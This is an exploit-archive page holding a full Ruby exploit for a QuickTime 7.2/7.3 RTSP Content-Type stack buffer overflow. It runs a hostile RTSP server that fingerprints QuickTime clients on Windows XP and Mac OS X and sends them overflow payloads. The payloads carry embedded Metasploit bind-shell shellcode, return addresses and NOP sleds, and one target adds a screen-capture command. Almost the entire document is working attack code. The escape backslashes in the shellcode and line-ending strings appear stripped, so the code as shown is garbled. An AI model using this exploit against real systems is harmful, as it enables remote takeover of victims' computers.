[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Apple QuickTime 7.2/7.3 RSTP Response Universal Exploit (win/osx)
# Published : 2007-11-29
# Author : Subreption LLC.
# Previous Title : Firefly Media Server (mt-daapd) 2.4.1 / SVN 1699 Multiple Vulnerabilities
# Next Title : Simple HTTPD <= 1.38 Multiple Remote Vulnerabilities
# Copyright (C) 2007 Subreption LLC. All rights reserved.
# Visit http://blog.subreption.com for exploit development notes.
#
# References:
# http://www.milw0rm.com/exploits/4648 (original Microsoft Windows code)
# http://www.milw0rm.com/exploits/4651 (recent Microsoft Windows exploit)
# From Metasploit: apple_quicktime_rtsp_response.rb (by MC and HD Moore)
# http://nvd.nist.gov/nvd.cfm?cvename=CVE-2002-0252
# BID: http://www.securityfocus.com/bid/26549
#
# Notes:
# Payload badchars: x00 x09 x0a x0d x20 x22 x25 x26 x27 x2b x2f
# x3a x3c x3e x3f x40
#
# The example addresses and data will trigger an IDS signature easily.
# Remove them if you're not testing, and change padding sizes accordingly.
# Use the String.rand_alpha() method to generate random strings.
#
# Version: 1.0 (+leopard_ppc +leopard_x86 +tiger_x86 +tiger_ppc +win_xpsp2)
#
# We would like to thank...
# Kevin Finisterre, for providing PowerPC testing environment and general
# aid in the development and proofing of this code for Mac OS X on PPC.
# HD Moore for his suggestions and Metasploit code.
#
# Distributed under the terms of the Subreption Open Source License v1.0
# http://static.subreption.com/public/documents/subreption-sosl-1.0.txt
#
require 'socket'
include Socket::Constants
def String.rand_alpha(size = 16)
(1..size).collect { (i = Kernel.rand(62); i += ((i < 10) ? 48 : ((i < 36) ? 55 : 61 ))).chr }.join
end
module MiscUtils
def self.myputs(msg)
puts "#{$0}: #{msg}"
end
# From Metasploit Rex library:
# http://metasploit.com/svn/framework3/trunk/lib/rex/arch/x86.rb
def self.rel_number(num, delta = 0)
s = num.to_s
case s[0, 2]
when '$+'
num = s[2 .. -1].to_i
when '$-'
num = -1 * s[2 .. -1].to_i
when '0x'
num = s.hex
else
delta = 0
end
return num + delta
end
end
# msf osx/x86/shell_bind_tcp - 81 bytes port=5354 + exit()
MSF_OSX_X86 =
"x31xc0x50x68xffx02x14xeax89xe7x50x6ax01x6ax02x6a" +
"x10xb0x61xcdx80x57x50x50x6ax68x58xcdx80x89x47xec" +
"xb0x6axcdx80xb0x1excdx80x50x50x6ax5ax58xcdx80xff" +
"x4fxe4x79xf6x50x68x2fx2fx73x68x68x2fx62x69x6ex89" +
"xe3x50x54x54x53x50xb0x3bxcdx80x31xc0x50xb0x01xcd" +
"x80"
# msf win32_bind - EXITFUNC=process LPORT=4444 Size=696 Encoder=Alpha2
MSF_WIN_X86 =
"xebx03x59xebx05xe8xf8xffxffxffx49x37x49x49x49x49" +
"x49x49x49x49x49x49x49x49x49x49x49x49x51x5ax6ax42" +
"x58x50x30x42x31x41x42x6bx42x41x52x32x42x42x32x41" +
"x41x30x41x41x58x42x50x38x42x42x75x39x79x4bx4cx61" +
"x7ax38x6bx50x4dx68x68x69x69x4bx4fx4bx4fx59x6fx53" +
"x50x4ex6bx32x4cx44x64x35x74x6ex6bx30x45x57x4cx4e" +
"x6bx41x6cx64x45x51x68x46x61x4ax4fx6cx4bx30x4fx46" +
"x78x6cx4bx71x4fx47x50x33x31x5ax4bx61x59x6ex6bx50" +
"x34x4ex6bx46x61x78x6ex50x31x69x50x4ex79x4ex4cx4b" +
"x34x6bx70x52x54x63x37x38x41x6ax6ax44x4dx63x31x6b" +
"x72x68x6bx49x64x77x4bx30x54x41x34x45x78x52x55x69" +
"x75x6ex6bx73x6fx75x74x56x61x7ax4bx33x56x4ex6bx36" +
"x6cx72x6bx4cx4bx53x6fx35x4cx77x71x38x6bx47x73x44" +
"x6cx6ex6bx4bx39x32x4cx35x74x77x6cx65x31x69x53x56" +
"x51x49x4bx65x34x4ex6bx67x33x34x70x4cx4bx77x30x74" +
"x4cx6ex6bx64x30x47x6cx4cx6dx6ex6bx41x50x63x38x53" +
"x6ex70x68x4ex6ex62x6ex56x6ex38x6cx52x70x6bx4fx7a" +
"x76x72x46x61x43x43x56x52x48x77x43x64x72x51x78x71" +
"x67x50x73x70x32x71x4fx31x44x4bx4fx4ax70x75x38x78" +
"x4bx68x6dx49x6cx75x6bx46x30x4bx4fx79x46x53x6fx6f" +
"x79x38x65x73x56x4cx41x58x6dx64x48x65x52x72x75x32" +
"x4ax73x32x49x6fx4ax70x33x58x78x59x63x39x39x65x4c" +
"x6dx72x77x6bx4fx6ex36x50x53x52x73x51x43x70x53x33" +
"x63x71x53x63x63x61x53x33x63x4bx4fx5ax70x73x56x51" +
"x78x37x61x41x4cx50x66x53x63x6cx49x5ax41x5ax35x51" +
"x78x4dx74x67x6ax30x70x4bx77x66x37x79x6fx4bx66x41" +
"x7ax32x30x72x71x33x65x59x6fx38x50x70x68x6fx54x6e" +
"x4dx64x6ex38x69x32x77x4bx4fx4ex36x51x43x41x45x39" +
"x6fx4ax70x71x78x4ax45x71x59x6dx56x43x79x76x37x4b" +
"x4fx39x46x52x70x72x74x46x34x31x45x4bx4fx68x50x4e" +
"x73x43x58x6bx57x71x69x6fx36x53x49x76x37x6bx4fx38" +
"x56x71x45x6bx4fx48x50x35x36x70x6ax31x74x45x36x31" +
"x78x62x43x32x4dx6fx79x7ax45x71x7ax30x50x33x69x46" +
"x49x6ax6cx6bx39x6ax47x73x5ax51x54x6fx79x6dx32x30" +
"x31x59x50x38x73x4dx7ax59x6ex43x72x36x4dx69x6ex73" +
"x72x54x6cx6fx63x4cx4dx72x5ax74x78x4cx6bx6cx6bx6e" +
"x4bx35x38x50x72x6bx4ex4cx73x64x56x4bx4fx43x45x32" +
"x64x79x6fx7ax76x33x6bx32x77x62x72x63x61x33x61x30" +
"x51x30x6ax53x31x71x41x46x31x52x75x32x71x6bx4fx4e" +
"x30x70x68x4ex4dx7ax79x46x65x4ax6ex72x73x69x6fx58" +
"x56x72x4ax69x6fx69x6fx66x57x39x6fx58x50x4cx4bx41" +
"x47x6bx4cx6cx43x4fx34x32x44x4bx4fx68x56x76x32x4b" +
"x4fx4ex30x71x78x33x4ex6ax78x49x72x43x43x61x43x4b" +
"x4fx48x56x69x6fx6ax70x42"
module AppleOSX
class QuicktimeRedux
TARGET_MATRIX = {
# Mac OS X Leopard on PowerPC (ppc)
"7.3-Mac 10.5.1-PPC" => {
# Stack on PPC is still executable
:ret_address => 0xbfffcb0c+50,
:padding_size => 559,
# Shellcode will -likely- require changes here
:prepend_data => (
[0xdead5841].pack("N") + # r22
[0xdead5842].pack("N") + # r23
[0xdead4141].pack("N") + # r24
[0xdead4142].pack("N") + # r25
[0xdead4143].pack("N") + # r26
[0xdead4144].pack("N") + # r27
[0xdead4145].pack("N") + # r28
[0xdead4146].pack("N") + # r29
[0xdead4147].pack("N") + # r30
[0xdead4148].pack("N") + # r31
[0xdead4150].pack("N") + #
[0xdead4151].pack("N") + #
[0xdead4152].pack("N") + # at $sp+0
[0xdead4153].pack("N") # at $sp+4
),
:append_data => (""),
:shellcode => ( "x69" * 120 )
},
# Mac OS X Leopard on IA32 (x86) build 9B18
"7.3-Mac 10.5.1-IA32" => {
# Return-to-dyld stub is not reliable unless the machine
# hasn't randomized the dyld base address.
:ret_address => 0xdeadbeef,
:padding_size => 291,
:prepend_data => (
[0x11223344].pack("V") + # ebx
[0x41424142].pack("V") + # esi
[0x31337666].pack("V") + # edi
[0xdefacedd].pack("V") # ebp
),
:append_data => (
[0xa0a7e44a].pack("V") + # to dyld_stub_exit
[0xbffffaa3].pack("V") # address to /bin/bash
),
:shellcode => (
"screencapture -S ~/Desktop/US.png; exit;" +
("x90" * 130) + MSF_OSX_X86
)
},
# Mac OS X Tiger on IA32 (x86) build 8S2167 (10.4.11)
# Apparently, it advertises 10.4.9 instead of 10.4.11
"7.3-Mac 10.4.9-IA32" => {
# Return-to-dyld stub works reliably on Tiger
# 0xa0be2280 for dyld_stub_system
:ret_address => 0xa0be2280,
:padding_size => 291,
:prepend_data => (
[0x917f1413].pack("V") + # ebx
[0xffffeae6].pack("V") + # esi
[0x14533050].pack("V") + # edi
[0xbfffd27c].pack("V") # ebp
),
# exit() stub is problematic with some atexit code
# because of corrupted frames, we use abort() instead.
# A /bin/bash string (from env) is usually at 0xbffffc23
# when running under gdb, or 0xbffffe5c if started
# via dock. If started from Terminal, it's at 0xbffffc3e.
:append_data => (
[0xa0815587].pack("V") + # to dyld_stub_abort
[0xbffffc3e].pack("V") # address system() command
),
# NOP sled + Metasploit shellcode + NOP sled + int3
:shellcode => (
("x90" * 140) + MSF_OSX_X86 + ("x90" * 30) + "xcc"
)
},
# Mac OS X Tiger on PowerPC (PPC)
# It also advertises 10.4.9 instead of 10.4.11
"7.3-Mac 10.4.9-PPC" => {
# Stub address for system() contains a null byte.
# system() address contains filtered char.
:ret_address => 0xdeadbeef,
:padding_size => 559,
:prepend_data => (
[0xdead5841].pack("N") + # r22
[0xdead5842].pack("N") + # r23
[0xdead4141].pack("N") + # r24
[0xdead4142].pack("N") + # r25
[0xdead4143].pack("N") + # r26
[0xdead4144].pack("N") + # r27
[0xdead4145].pack("N") + # r28
[0xdead4146].pack("N") + # r29
[0xdead4147].pack("N") + # r30
[0xdead4148].pack("N") + # r31
String.rand_alpha(16)
),
:append_data => (
[0x942bce80].pack("N") + # to dyld_stub_abort
[0x58585858].pack("N")
),
:shellcode => (
"x69" * 120
)
},
# Microsoft Windows targets
# 7.3 on XP SP2, based on the original Metasploit module by MC
# This one is elegant and reliable :)
# (uses address from QuickTimeStreaming.qtx version 7.3.0.70)
"7.3-Windows NT 5.1Service Pack 2-IA32" => {
# pop esi; pop ebx; ret
:ret_address => 0x67644297,
:padding_size => 991+MSF_WIN_X86.size,
:prepend_data => (
"xeb" + [MiscUtils::rel_number(6, -2)].pack("V")[0,1] +
"x90x90"
),
:append_data => ( String.rand_alpha(4092 - MSF_WIN_X86.size) ),
:shellcode => MSF_WIN_X86
},
# 7.3 on Vista
# We are not including it yet, feel free to play around
"7.3-Windows NT 6.0-IA32" => {
:ret_address => 0xdeadbeef,
:padding_size => 991+MSF_WIN_X86.size,
:prepend_data => (""),
:append_data => ( String.rand_alpha(4092 - MSF_WIN_X86.size) ),
:shellcode => MSF_WIN_X86
}
}
# Generates headers for a Quicktime RTSP response, and injects
# the payload into the Content-Type header (including the padding).
def make_header(body_length, payload)
"RTSP/1.0 200 OKrn" +
"CSeq: 1rn" +
"Content-Base: rtsp://0.0.0.0/#{@mpfile}rn" +
"Content-Type: #{payload}rn" +
"Content-Length: #{body_length}rn" +
"rn"
end
# Generates a body for a Quicktime RTSP response
def make_body
rand_str = String.rand_alpha(rand(10)+1)
rand_nam = String.rand_alpha(rand(20)+1)
"v=0rn" +
"o=- #{rand(0xffffffff)} 1 IN IP4 0.0.0.0rn" +
"s=MPEG-1 or 2 Audio, streamed by #{rand_str}rn" +
"i=#{@mpfile}rn" +
"t=0 0rn" +
"a=tool:#{rand_nam}rn" +
"a=type:broadcastrn" +
"a=control:*rn" +
"a=range:npt=0-213.077rn" +
"a=x-qt-text-nam:MPEG-1 or 2 Audio, streamed by #{rand_str}rn" +
"a=x-qt-text-inf:#{@mpfile}rn" +
"m=audio 0 RTP/AVP 14rn" +
"c=IN IP4 0.0.0.0rn" +
"a=control:track1rn"
end
# Construct a payload without filtered characters, for the target provided.
# The information is extracted from the target matrix variable.
def build_payload(target)
target_name = "#{target[:version]}-#{target[:os]}-#{target[:arch]}"
selected = TARGET_MATRIX[target_name]
unless selected
MiscUtils::myputs "Target not available, check User-Agent format!"
MiscUtils::myputs target_name
return ''
end
MiscUtils::myputs "Building payload for '#{target_name}'..."
MiscUtils::myputs "Return address: #{sprintf("0x%08x",selected[:ret_address])}, " +
"shellcode: #{selected[:shellcode].size} bytes."
payload = String.rand_alpha(selected[:padding_size]-selected[:shellcode].size)
unless target[:os] =~ /Windows/
payload << selected[:shellcode]
payload << selected[:prepend_data]
# Handle big-endian / little-endian
if target[:arch] == "PPC"
payload << [selected[:ret_address]].pack("N")
else
payload << [selected[:ret_address]].pack("V")
end
else
payload << selected[:prepend_data]
payload << [selected[:ret_address]].pack("V")
payload << selected[:shellcode]
end
# Appended data comes always at end of payload
payload << selected[:append_data]
MiscUtils::myputs "Payload: #{payload.size} bytes (padding=#{payload[0,8]}...)"
return payload
end
# Threaded 'listener': waits until a Quicktime client connects and fingerprints
# its version, architecture and operating system version. Builds a response with
# the correct payload and sends it back to the client.
def exploit
loop do
socket = @server.accept
Thread.start do
s = socket
port = s.peeraddr[1]
name = s.peeraddr[2]
addr = s.peeraddr[3]
MiscUtils::myputs "RTSP Connection from #{name} (#{addr}:#{port})"
request = s.recv(1024)
# Verify it's Quicktime and not some other application
# ie. QuickTime E-/7.3 (qtver=7.3;os=Windows NT 6.0)
if request =~ /User-Agent: QuickTime/i
target = Hash.new
if request =~ /Windows/
qtver = request.scan(/(qtver=(.+?);os=(.+?))rn/).flatten
target[:version] = qtver[0]
target[:arch] = "IA32"
target[:os] = qtver[1]
else
qtver = request.scan(/(qtver=(.+?);cpu=(.+?);os=(.+?))rn/).flatten
target[:version] = qtver[0]
target[:arch] = qtver[1]
target[:os] = qtver[2]
end
MiscUtils::myputs "RTSP Request from Quicktime: #{qtver[0]} on #{qtver[3]} #{qtver[2]}"
# Build payload and the full response body
begin
payload = build_payload(target)
body = make_body()
header = make_header(body.size, payload)
resp = (header+body)
rescue
raise "Something happened trying to build a response!"
end
# Send it to the client
s.write(resp)
MiscUtils::myputs "RTSP Sent #{resp.size} bytes..."
else
# It's not a Quicktime client
MiscUtils::myputs "RTSP Connection doesn't seem to come from Quicktime!"
s.write(String.rand_alpha(rand(500)))
end
end
end
end
# Initialize the exploit with the local listening port, server socket, etc.
def initialize(rtsp_port = 554)
@server = TCPServer.new("0.0.0.0", rtsp_port)
@mpfile = String.rand_alpha(rand(12)+1) + '.mp3'
rtsp_addrs = @server.addr[2..-1].uniq.collect{|a|"#{a}:#{rtsp_port}"}.join(' ')
MiscUtils::myputs "RTSP Listening on #{rtsp_addrs}, serving #{@mpfile}"
MiscUtils::myputs "RTSP URL: rtsp://#{rtsp_addrs}/#{@mpfile}"
end
end
end
trap("INT") do
puts "Exiting!"
exit
end
puts "Quicktime 7.3 RTSP Response Content-Type Header Stack Buffer Overflow exploit"
puts "Copyright (C) 2007, Subreption LLC. All rights reserved."
test_run = AppleOSX::QuicktimeRedux.new()
test_run.exploit
# www.Syue.com [2007-11-29]